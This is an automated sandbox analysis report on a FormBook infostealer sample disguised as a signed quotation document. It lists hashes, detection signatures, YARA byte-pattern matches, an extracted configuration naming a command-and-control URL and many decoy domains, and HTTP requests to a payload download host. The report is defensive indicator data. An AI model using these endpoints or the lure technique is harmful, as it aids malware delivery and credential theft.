Play interactive tour

Edit tour

Windows Analysis Report Request_For_Quotation#234242_signed_copy_document_september_rfq.exe

Overview

General Information

Sample Name:	Request_For_Quotation#234242_signed_copy_document_september_rfq.exe
Analysis ID:	489487
MD5:	c1930047f21a89ddfba5a2e2db2d5485
SHA1:	f7013b3e2a9ee04c2dc392ee50624b76fce4bb86
SHA256:	a1b21077e09e0021aeabaea974f7a304f3b5f89b34bd19eb9045a67451f63f79
Infos:
Most interesting Screenshot:

Detection

FormBook

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected FormBook

Detected unpacking (changes PE section rights)

Malicious sample detected (through community Yara rule)

Initial sample is a PE file and has a suspicious name

Tries to detect virtualization through RDTSC time measurements

C2 URLs / IPs found in malware configuration

Injects a PE file into a foreign processes

Uses 32bit PE files

Found inlined nop instructions (likely shell or obfuscated code)

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Sample file is different than original file name gathered from version info

PE file contains strange resources

Contains functionality to read the PEB

Uses code obfuscation techniques (call, push, ret)

Checks if the current process is being debugged

Detected potential crypto function

Found potential string decryption / allocating functions

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to call native functions

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

Request_For_Quotation#234242_signed_copy_document_september_rfq.exe (PID: 5928 cmdline: 'C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe' MD5: C1930047F21A89DDFBA5A2E2DB2D5485)

Request_For_Quotation#234242_signed_copy_document_september_rfq.exe (PID: 3460 cmdline: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe MD5: C1930047F21A89DDFBA5A2E2DB2D5485)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.vayianoshellasestates.com/outr/"], "decoy": ["esport21.com", "tucows.website", "glooobe.com", "48mpt.xyz", "ge-endoscopy.com", "fixeyeglasses.com", "djweedim.com", "certainpath.tech", "renovacoesalgarve.com", "freedomwaterkc.com", "kanakherblab.com", "balikesiryukselinsaat.xyz", "soulworkerrush.com", "sugarshockbakery.com", "qingyu.store", "bowlingpklqbe.xyz", "tourziata.com", "airlongthanh.com", "fawadjafri.com", "equityreleaseshelpukweb.com", "skulldemo.digital", "bearmarket.party", "flex-aporte.com", "bmfoo.com", "fcjoke.com", "cdgdentist.com", "cannafetrails.com", "hokiboyovo8.xyz", "rematedesillas.com", "magicmirrornz.online", "freevbucks.space", "bjaz6.com", "peninsulaheatpumps.com", "celebrityshaman.com", "mushbliss.com", "harmolovers.com", "palisadeslove.com", "yofantech.top", "kasugakohki-jp.com", "toticash.com", "ingrimm-custom.ink", "beemlike.xyz", "vandc.online", "freenessforum.com", "yeyue.xyz", "coinzillo.com", "datiresllc.com", "tomtop.ink", "jitaiqd.com", "7890131.com", "m-20.space", "sweetmilf.club", "gefahe.com", "nearbynomads.com", "balatonartacademy.com", "nawtymedia.net", "sacersanguis.com", "vintagewoodman.com", "xn--sngubbarna-fcb.com", "scenelast.com", "business-fair.net", "fertighausfirma.com", "notificationsblocker.xyz", "4480ysa.net"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
0000000A.00000001.313464518.0000000000400000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000A.00000001.313464518.0000000000400000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19b77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000A.00000001.313464518.0000000000400000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16aa9:$sqlite3step: 68 34 1C 7B E1 0x16bbc:$sqlite3step: 68 34 1C 7B E1 0x16ad8:$sqlite3text: 68 38 2A 90 C5 0x16bfd:$sqlite3text: 68 38 2A 90 C5 0x16aeb:$sqlite3blob: 68 53 D8 7F 8C 0x16c13:$sqlite3blob: 68 53 D8 7F 8C
0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19b77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16aa9:$sqlite3step: 68 34 1C 7B E1 0x16bbc:$sqlite3step: 68 34 1C 7B E1 0x16ad8:$sqlite3text: 68 38 2A 90 C5 0x16bfd:$sqlite3text: 68 38 2A 90 C5 0x16aeb:$sqlite3blob: 68 53 D8 7F 8C 0x16c13:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
10.2.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
10.2.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19b77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
10.2.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16aa9:$sqlite3step: 68 34 1C 7B E1 0x16bbc:$sqlite3step: 68 34 1C 7B E1 0x16ad8:$sqlite3text: 68 38 2A 90 C5 0x16bfd:$sqlite3text: 68 38 2A 90 C5 0x16aeb:$sqlite3blob: 68 53 D8 7F 8C 0x16c13:$sqlite3blob: 68 53 D8 7F 8C
10.1.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
10.1.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19b77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
10.1.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16aa9:$sqlite3step: 68 34 1C 7B E1 0x16bbc:$sqlite3step: 68 34 1C 7B E1 0x16ad8:$sqlite3text: 68 38 2A 90 C5 0x16bfd:$sqlite3text: 68 38 2A 90 C5 0x16aeb:$sqlite3blob: 68 53 D8 7F 8C 0x16c13:$sqlite3blob: 68 53 D8 7F 8C
10.2.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
10.2.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7808:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7b92:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x138a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x139a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x13b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x85aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1260c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9322:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18d77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19e1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
10.2.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x15ca9:$sqlite3step: 68 34 1C 7B E1 0x15dbc:$sqlite3step: 68 34 1C 7B E1 0x15cd8:$sqlite3text: 68 38 2A 90 C5 0x15dfd:$sqlite3text: 68 38 2A 90 C5 0x15ceb:$sqlite3blob: 68 53 D8 7F 8C 0x15e13:$sqlite3blob: 68 53 D8 7F 8C
10.1.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
10.1.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7808:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7b92:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x138a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x139a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x13b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x85aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1260c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9322:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18d77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19e1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
10.1.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x15ca9:$sqlite3step: 68 34 1C 7B E1 0x15dbc:$sqlite3step: 68 34 1C 7B E1 0x15cd8:$sqlite3text: 68 38 2A 90 C5 0x15dfd:$sqlite3text: 68 38 2A 90 C5 0x15ceb:$sqlite3blob: 68 53 D8 7F 8C 0x15e13:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 7 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 0000000A.00000001.313464518.0000000000400000.00000040.00020000.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.vayianoshellasestates.com/outr/"], "decoy": ["esport21.com", "tucows.website", "glooobe.com", "48mpt.xyz", "ge-endoscopy.com", "fixeyeglasses.com", "djweedim.com", "certainpath.tech", "renovacoesalgarve.com", "freedomwaterkc.com", "kanakherblab.com", "balikesiryukselinsaat.xyz", "soulworkerrush.com", "sugarshockbakery.com", "qingyu.store", "bowlingpklqbe.xyz", "tourziata.com", "airlongthanh.com", "fawadjafri.com", "equityreleaseshelpukweb.com", "skulldemo.digital", "bearmarket.party", "flex-aporte.com", "bmfoo.com", "fcjoke.com", "cdgdentist.com", "cannafetrails.com", "hokiboyovo8.xyz", "rematedesillas.com", "magicmirrornz.online", "freevbucks.space", "bjaz6.com", "peninsulaheatpumps.com", "celebrityshaman.com", "mushbliss.com", "harmolovers.com", "palisadeslove.com", "yofantech.top", "kasugakohki-jp.com", "toticash.com", "ingrimm-custom.ink", "beemlike.xyz", "vandc.online", "freenessforum.com", "yeyue.xyz", "coinzillo.com", "datiresllc.com", "tomtop.ink", "jitaiqd.com", "7890131.com", "m-20.space", "sweetmilf.club", "gefahe.com", "nearbynomads.com", "balatonartacademy.com", "nawtymedia.net", "sacersanguis.com", "vintagewoodman.com", "xn--sngubbarna-fcb.com", "scenelast.com", "business-fair.net", "fertighausfirma.com", "notificationsblocker.xyz", "4480ysa.net"]}

Multi AV Scanner detection for submitted file

Show sources

Source: Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Virustotal: Detection: 29%			Perma Link
Source: Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	ReversingLabs: Detection: 35%

Yara detected FormBook

Show sources

Source: Yara match	File source: 10.2.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.1.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.1.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000001.313464518.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, type: MEMORY

Source: 10.1.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 10.2.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen

Source: Request_For_Quotation#234242_signed_copy_document_september_rfq.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, BYTES_REVERSED_LO, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, BYTES_REVERSED_HI

Source: unknown

HTTPS traffic detected: 162.215.240.160:443 -> 192.168.2.3:49742 version: TLS 1.2

Source:	Binary string: wntdll.pdbUGP source: Request_For_Quotation#234242_signed_copy_document_september_rfq.exe, 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: Request_For_Quotation#234242_signed_copy_document_september_rfq.exe

Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 4x nop then pop edi		10_2_004162B6
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 4x nop then pop ebx		10_2_00406AB9

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: www.vayianoshellasestates.com/outr/

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443

Source: Request_For_Quotation#234242_signed_copy_document_september_rfq.exe, 00000000.00000003.281094182.0000000000817000.00000004.00000001.sdmp

String found in binary or memory: http://crl.globalsign.net/root-r2.crl0

Source: unknown

DNS traffic detected: queries for: cutting-tools.in

Source: global traffic	HTTP traffic detected: GET /apibadboycpanelaunicationrelayserverconfigurapsyste/Uhubvlhwjlopolbbrwsjxlbmrbynkke HTTP/1.1User-Agent: zipoHost: cutting-tools.in
Source: global traffic	HTTP traffic detected: GET /apibadboycpanelaunicationrelayserverconfigurapsyste/Uhubvlhwjlopolbbrwsjxlbmrbynkke HTTP/1.1User-Agent: asweHost: cutting-tools.inCache-Control: no-cache

Source: unknown

HTTPS traffic detected: 162.215.240.160:443 -> 192.168.2.3:49742 version: TLS 1.2

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match	File source: 10.2.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.1.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.1.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000001.313464518.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, type: MEMORY

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 10.2.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 10.2.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 10.1.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 10.1.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 10.2.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 10.2.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 10.1.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 10.1.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000A.00000001.313464518.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000A.00000001.313464518.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Initial sample is a PE file and has a suspicious name

Show sources

Source: initial sample	Static PE information: Filename: Request_For_Quotation#234242_signed_copy_document_september_rfq.exe
Source: initial sample	Static PE information: Filename: Request_For_Quotation#234242_signed_copy_document_september_rfq.exe

Source: Request_For_Quotation#234242_signed_copy_document_september_rfq.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, BYTES_REVERSED_LO, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, BYTES_REVERSED_HI

Source: 10.2.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 10.2.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 10.1.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 10.1.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 10.2.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 10.2.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 10.1.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 10.1.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000A.00000001.313464518.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000A.00000001.313464518.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: Request_For_Quotation#234242_signed_copy_document_september_rfq.exe, 0000000A.00000002.315219400.0000000000B0F000.00000040.00000001.sdmp

Binary or memory string: OriginalFilenamentdll.dllj% vs Request_For_Quotation#234242_signed_copy_document_september_rfq.exe

Source: Request_For_Quotation#234242_signed_copy_document_september_rfq.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00401030	10_2_00401030
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_0041D0D9	10_2_0041D0D9
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00408C6B	10_2_00408C6B
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00408C70	10_2_00408C70
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00408C2A	10_2_00408C2A
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_0041BC98	10_2_0041BC98
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00402D87	10_2_00402D87
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00402D90	10_2_00402D90
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00402FB0	10_2_00402FB0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A420A0	10_2_00A420A0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AE20A8	10_2_00AE20A8
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2B090	10_2_00A2B090
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A188E0	10_2_00A188E0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AE28EC	10_2_00AE28EC
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD60F5	10_2_00AD60F5
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AEE824	10_2_00AEE824
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A830	10_2_00A3A830
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A16800	10_2_00A16800
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD1002	10_2_00AD1002
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4701D	10_2_00A4701D
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A399BF	10_2_00A399BF
